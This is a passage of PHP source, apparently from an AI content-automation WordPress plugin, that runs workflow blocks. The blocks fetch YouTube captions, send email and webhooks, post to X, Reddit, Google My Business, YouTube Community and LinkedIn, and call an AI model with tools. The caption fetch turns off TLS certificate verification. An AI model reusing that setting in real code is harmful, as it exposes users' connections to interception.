                                                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                                        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                                                        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                                                        $xza_video_page = curl_exec($ch);
                                                        if(!empty($xza_video_page))
                                                        {
                                                            $returned_caption = $xza_video_page;
                                                            $returned_caption = preg_replace('#\s+#', ' ', $returned_caption);
                                                        }
                                                        curl_close($ch);
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to init curl in subtitle listing: ' . $url);
                                                    }   
                                                }
                                            }
                                        }
                                        if(empty($returned_caption))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Failed to find subtitles for video URL), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to find subtitles for video URL: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '');
                                                continue;
                                            }
                                        }
                                        if(stristr($returned_caption, 'transcript'))
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Getting video transcript'));
                                            $raw_returned_caption = preg_replace('#\s*?(?:start|dur)="[\d.]*?"\s*?#','', $returned_caption);
                                            $raw_returned_caption = preg_replace('#\[[A-Z][a-z]+\]#','', $raw_returned_caption);
                                            $returned_caption = '';
                                            $capt = new SimpleXMLElement($raw_returned_caption);
                                            $counter = 0;
                                            if(isset($capt->text))
                                            {
                                                foreach($capt->text as $entry) 
                                                {
                                                    if($counter == 0)
                                                    {
                                                        $returned_caption .= ucfirst($entry) . ' ';
                                                    }
                                                    else
                                                    {
                                                        $returned_caption .= $entry . ' ';
                                                    }
                                                    if($counter >= 8)
                                                    {
                                                        $returned_caption = rtrim($returned_caption);
                                                        if(substr($returned_caption, -1) != '.')
                                                        {
                                                            $returned_caption .= '.';
                                                        }
                                                        $returned_caption .= '<br/><br/>';
                                                        $counter = 0;
                                                    }
                                                    else
                                                    {
                                                        $counter++;
                                                    }
                                                }
                                            }
                                            $returned_caption = trim($returned_caption);
                                        }
                                        preg_match_all('#<link rel="image_src" href="([^"]*?)">#i', $za_video_page, $zmatches);
                                        if(isset($zmatches[1][0]))
                                        {
                                            $youtube_thumb = $zmatches[1][0];
                                        }
                                        else
                                        {
                                            preg_match_all('#<meta property="og:image" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $youtube_thumb = $zmatches[1][0];
                                            }
                                            else
                                            {
                                                preg_match_all('#<meta name="twitter:image" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                                if(isset($zmatches[1][0]))
                                                {
                                                    $youtube_thumb = $zmatches[1][0];
                                                }
                                                else
                                                {
                                                    preg_match_all('#<link itemprop="thumbnailUrl" href="([^"]*?)">#i', $za_video_page, $zmatches);
                                                    if(isset($zmatches[1][0]))
                                                    {
                                                        $youtube_thumb = $zmatches[1][0];
                                                    }
                                                }
                                            }
                                        }
                                        if(!empty($max_caption) && strlen($returned_caption) > $max_caption)
                                        {
                                            $returned_caption = substr($returned_caption, 0, $max_caption);
                                        }
                                        if(!empty($max_caption) && strlen($vid_desc) > $max_caption)
                                        {
                                            $vid_desc = substr($vid_desc, 0, $max_caption);
                                        }
                                        if($returned_caption == '')
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (no YouTube caption data found), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('No YouTube caption results returned: ' . $keyword);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '');
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($returned_caption, $vid_title, $vid_desc, $youtube_thumb);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $returned_caption, $vid_title, $vid_desc, $youtube_thumb);
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_email')
                                    {
                                        $my_post = array();
                                        $email_title = $current_block['parameters']['email_title'];
                                        $email_title = aiomatic_replace_omniblocks_data($email_title, $current_keyword, $kiwis, $block_results);
                                        $email_content = $current_block['parameters']['email_content'];
                                        $email_content = aiomatic_replace_omniblocks_data($email_content, $current_keyword, $kiwis, $block_results);
                                        $email_recipient = $current_block['parameters']['email_recipient'];
                                        $email_recipient = aiomatic_replace_omniblocks_data($email_recipient, $current_keyword, $kiwis, $block_results);
                                        if ((empty($email_title) && empty($email_content)) || empty($email_recipient)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty email data entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty email data entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        try 
                                        {
                                            $to        = $email_recipient;
                                            $subject   = $email_title;
                                            $message   = $email_content;
                                            $headers[] = 'From: AIomatic Plugin <aiomatic@noreply.net>';
                                            $headers[] = 'Reply-To: noreply@aiomatic.com';
                                            $headers[] = 'X-Mailer: PHP/' . phpversion();
                                            $headers[] = 'Content-Type: text/html';
                                            $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8');
                                            $sent = wp_mail($to, $subject, $message, $headers);
                                            if($sent === false)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (failed to send email), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to send email to: ' . $to);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type']);
                                                    continue;
                                                }
                                            }
                                            else
                                            {
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('ok');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                $posts_inserted++;
                                            }
                                        }
                                        catch (Exception $e) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (send mail exception), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_twitter')
                                    {
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $featured_image = $current_block['parameters']['featured_image'];
                                        $featured_image = aiomatic_replace_omniblocks_data($featured_image, $current_keyword, $kiwis, $block_results);
                                        if ((empty($post_template) && empty($featured_image))) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty X (Twitter) post data entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty X (Twitter) post data entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $return_me = aiomatic_post_to_twitter($card_type_found, $post_template, $featured_image);
                                        if(isset($return_me['error']))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (X (Twitter) social posting failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('X (Twitter) social posting failed: ' . $return_me['error']);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        elseif(empty($return_me))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (X (Twitter) social posting failed to be parsed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to parse social posting results to X (Twitter)');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_gmb')
                                    {
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $featured_image = $current_block['parameters']['featured_image'];
                                        $featured_image = aiomatic_replace_omniblocks_data($featured_image, $current_keyword, $kiwis, $block_results);
                                        $page_to_post = $current_block['parameters']['page_to_post'];
                                        if ((empty($post_template) && empty($featured_image))) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Google My Business post data entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Google My Business post data entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $return_me = aiomatic_post_to_gmb($card_type_found, $post_template, $featured_image, $page_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Google My Business social posting failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Google My Business social posting failed: ' . $return_me['error']);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        elseif(empty($return_me))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Google My Business social posting failed to be parsed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to parse social posting results to Google My Business');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_community_youtube')
                                    {
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $featured_image = $current_block['parameters']['featured_image'];
                                        $featured_image = aiomatic_replace_omniblocks_data($featured_image, $current_keyword, $kiwis, $block_results);
                                        $send_type = $current_block['parameters']['send_type'];
                                        if(empty($send_type))
                                        {
                                            $send_type = 'text';
                                        }
                                        if ((empty($post_template) && empty($featured_image))) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty YouTube Community post data entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty YouTube Community post data entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        if($featured_image != '')
                                        {
                                            $media = array($featured_image);
                                        }
                                        else
                                        {
                                            $media = array();
                                        }
                                        $return_me = aiomatic_post_to_youtube_community($card_type_found, $post_template, $send_type, $media);
                                        if(isset($return_me['error']))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution YouTube Community social posting failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('YouTube Community social posting failed: ' . $return_me['error']);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        elseif(empty($return_me))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (YouTube Community social posting failed to be parsed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to parse social posting results to YouTube Community');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_reddit')
                                    {
                                        $title_template = $current_block['parameters']['title_template'];
                                        $title_template = aiomatic_replace_omniblocks_data($title_template, $current_keyword, $kiwis, $block_results);
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $subreddit_to_post = $current_block['parameters']['subreddit_to_post'];
                                        $subreddit_to_post = aiomatic_replace_omniblocks_data($subreddit_to_post, $current_keyword, $kiwis, $block_results);
                                        $send_type = $current_block['parameters']['send_type'];
                                        if(empty($send_type))
                                        {
                                            $send_type = 'self';
                                        }
                                        if ((empty($post_template) && empty($title_template))) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty Reddit post data entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty Reddit post data entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        require_once(dirname(__FILE__) . "/aiomatic-socials.php");
                                        $return_me = aiomatic_post_to_reddit($card_type_found, $title_template, $post_template, $send_type, $subreddit_to_post);
                                        if(isset($return_me['error']))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution Reddit social posting failed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Reddit social posting failed: ' . $return_me['error']);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        elseif(empty($return_me))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Reddit social posting failed to be parsed), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to parse social posting results to Reddit');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        }
                                    }
                                    elseif($current_block['type'] == 'god_mode')
                                    { 
                                        $temperature = '';
                                        $max_p = '';
                                        $presence_penalty = '';
                                        $frequency_penalty = '';
                                        $prompt = $current_block['parameters']['prompt'];
                                        $prompt = aiomatic_replace_omniblocks_data($prompt, $current_keyword, $kiwis, $block_results);
                                        if (empty($prompt)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty text prompt entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty text prompt entered, block ID: ' . $block_id);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $model = $current_block['parameters']['model'];
                                        $assistant_id = $current_block['parameters']['assistant_id'];
                                        $max_tokens = aiomatic_get_max_tokens($model);
                                        $query_token_count = count(aiomatic_encode($prompt));
                                        $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($prompt);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $prompt = aiomatic_substr($prompt, 0, $string_len);
                                            $prompt = trim($prompt);
                                            $query_token_count = count(aiomatic_encode($prompt));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        $aierror = '';
                                        $finish_reason = '';
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $model . ') for God Mode OmniBlock text ID: ' . $block_id);
                                            aiomatic_log_to_file('AI Prompt is: ' . $prompt);
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Calling OmniBlock AI God Mode'));
                                        require_once (dirname(__FILE__) . "/aiomatic-god-mode-omniblock.php");
                                        require_once (dirname(__FILE__) . "/aiomatic-god-mode-parser.php");
                                        $generated_text = aiomatic_run_functions($token, $model, $prompt, $available_tokens, $temperature, $max_p, $presence_penalty, $frequency_penalty, true, 'omniBlocksWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '');
                                        remove_filter('aiomatic_ai_functions', 'aiomatic_add_god_mode_omniblock', 999);
                                        if($generated_text === false)
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (failed to generate AI content), as critical block failed (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to generate non-critical OmniBlock content using AI writer (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                        }
                                        else
                                        {
                                            if(empty($generated_text))
                                            {
                                                aiomatic_log_to_file('Empty content generated using AI OmniBlock writer (ID ' . esc_html($block_id) . '): ' . $model . ' - error: ' . $aierror);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                            }
                                            else
                                            {
                                                if(is_string($generated_text))
                                                {
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array($generated_text);
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], $generated_text);
                                                }
                                                else
                                                {
                                                    $return_me = '';
                                                    if(isset($generated_text->tool_calls))
                                                    {
                                                        foreach($generated_text->tool_calls as $tcx)
                                                        {
                                                            $return_me .= 'Executed: ' . $tcx->function->name . '(' . $tcx->function->arguments->parameter_array . ')' . PHP_EOL;
                                                        }
                                                    }
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array($return_me);
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], $return_me);
                                                }
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_webhook')
                                    {
                                        $webhook_url = $current_block['parameters']['webhook_url'];
                                        $webhook_method = $current_block['parameters']['webhook_method'];
                                        $content_type = $current_block['parameters']['content_type'];
                                        $post_template = $current_block['parameters']['post_template'];
                                        $headers_template = $current_block['parameters']['headers_template'];
                                        $headers_template = aiomatic_replace_omniblocks_data($headers_template, $current_keyword, $kiwis, $block_results);
                                        if ((empty($webhook_url))) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty webhook_url entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty webhook_url entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        $urlParsed = parse_url( $webhook_url, PHP_URL_HOST );
                                        if ( filter_var( $webhook_url, FILTER_VALIDATE_URL ) === FALSE || empty( $urlParsed ) )
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (invalid webhook_url entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Invalid webhook_url entered ' . $webhook_url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        else if ( $content_type === 'JSON' && empty( json_decode( $post_template, TRUE ) ) )
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (The JSON data must be valid), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('The JSON data must be valid ' . $webhook_url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        $headers = [];
                                        if(!empty($headers_template))
                                        {
                                            $headers_template_arr = preg_split('/\r\n|\r|\n/', trim($headers_template));
                                            foreach($headers_template_arr as $arr_fr)
                                            {
                                                if(!empty(trim($arr_fr)) && strstr($arr_fr, '=>'))
                                                {
                                                    $small_arr = explode('=>', $arr_fr);
                                                    $headers[] = trim($small_arr[0]) . ':' . trim($small_arr[1]);
                                                }
                                            }
                                        }
                                        $content_params = [];
                                        if(!empty($post_template))
                                        {
                                            $post_template_arr = preg_split('/\r\n|\r|\n/', trim($post_template));
                                            foreach($post_template_arr as $arr_fr)
                                            {
                                                if(!empty(trim($arr_fr)) && strstr($arr_fr, '=>'))
                                                {
                                                    $small_arr = explode('=>', $arr_fr);
                                                    $small_arr[0] = aiomatic_replace_omniblocks_data($small_arr[0], $current_keyword, $kiwis, $block_results);
                                                    $small_arr[1] = aiomatic_replace_omniblocks_data($small_arr[1], $current_keyword, $kiwis, $block_results);
                                                    $content_params[trim($small_arr[0])] = trim($small_arr[1]);
                                                }
                                            }
                                        }
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $ch = curl_init();
                                        if ($ch === false) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (failed to init curl), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to init curl in webhook execution');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                                            $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                                            $randomness = array_rand($prx);
                                            curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
                                            if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                                            {
                                                $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                                if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                                {
                                                    curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                                }
                                            }
                                        }
                                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                                        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
                                        if ($webhook_method === 'POST' || $webhook_method === 'PUT' || $webhook_method === 'DELETE') 
                                        {
                                            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $webhook_method);
                                            if (!empty($content_params) && $content_type === 'form') {
                                                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($content_params));
                                            } elseif (!empty($post_template) && $content_type === 'JSON') {
                                                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_template));
                                                $headers[] = 'Content-Type: application/json';
                                                curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
                                            }
                                        }
                                        else
                                        {
                                            $query_string = http_build_query($content_params);
                                            $webhook_url = $webhook_url . (strpos($webhook_url, '?') === false ? '?' : '&') . $query_string;
                                        }
                                        curl_setopt($ch, CURLOPT_URL, $webhook_url);
            
                                        $response = curl_exec($ch);
                                        if($response === false)
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (failed to send webhook request), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to send webhook request to ' . $webhook_url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                        $err = curl_error($ch);
                                        $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                                        curl_close($ch);
                                        if ($err) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (webhook request error), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Webhook request error to URL ' . $webhook_url . ' - error: ' . $err);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
            
                                        if ($statusCode >= 200 && $statusCode <= 299) 
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array('ok');
                                            }
                                            $block_results[$block_id] = array($current_block['type']);
                                            $posts_inserted++;
                                        } 
                                        else 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (webhook unexpected return code), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Webhook unexpected return code to URL ' . $webhook_url . ' - return code: ' . $statusCode);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type']);
                                                continue;
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'send_linkedin')
                                    {
                                        $post_template = $current_block['parameters']['post_template'];
                                        $post_template = aiomatic_replace_omniblocks_data($post_template, $current_keyword, $kiwis, $block_results);
                                        $featured_image = $current_block['parameters']['featured_image'];
                                        $featured_image = aiomatic_replace_omniblocks_data($featured_image, $current_keyword, $kiwis, $block_results);
                                        $post_title = $current_block['parameters']['post_title'];
                                        $post_title = aiomatic_replace_omniblocks_data($post_title, $current_keyword, $kiwis, $block_results);
                                        $post_link = $current_block['parameters']['post_link'];
                                        $post_link = aiomatic_replace_omniblocks_data($post_link, $current_keyword, $kiwis, $block_results);
                                        $post_description = $current_block['parameters']['post_description'];
                                        $post_description = aiomatic_replace_omniblocks_data($post_description, $current_keyword, $kiwis, $block_results);
                                        $attach_lnk = $current_block['parameters']['attach_lnk'];
                                        $selected_pages = $current_block['parameters']['page_to_post'];
                                        if ((empty($post_template) && empty($featured_image))) 
                                        {
                                            if($critical == '1')
                                            {
